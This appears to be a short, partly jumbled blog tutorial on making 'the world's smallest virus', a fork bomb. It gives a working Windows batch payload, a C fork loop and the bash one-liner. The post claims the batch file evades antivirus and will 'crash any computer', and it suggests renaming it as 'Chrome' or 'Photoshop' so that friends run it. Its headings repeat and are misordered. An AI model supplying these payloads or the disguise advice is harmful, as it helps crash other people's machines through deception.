Hi pals !! Today i'm going to teach you all how to create the world's smallest virus which is also known as Fork Bomb.
The reason why this specific code is so famous are:
Fork Bomb using C++
Just execute the following code in your c compiler:
You have to open shell prompt and run the following code to execute the attack:
The reason why this specific code is so famous are:
1. The fact that this code is only 5 characters long.
2. Also, this virus is not detected by any antivirus app as it is just a .bat file.
So let's take a look at how to create it using Notepad
First of all open notepad.exe and paste the following code written below in bold red.
%0|%0Now save the file in your desktop as bomb.bat(note the .bat extension is very important) and your fork bomb is ready. Now you only need to double click on the bomb.bat file to crash any computer.
Fork Bomb using C++
Just execute the following code in your c compiler:
Fork Bomb using Unix/Linux#include <unistd.h>
int
main(
void
)
{
while
(1)
fork();
return
0;
}
You have to open shell prompt and run the following code to execute the attack:
: (){ : |:& };:You can definitely get creative and change the icon of the .bat file and also rename it to something like "Chrome" or "Photoshop" etc. to make it look more real and prank your friends.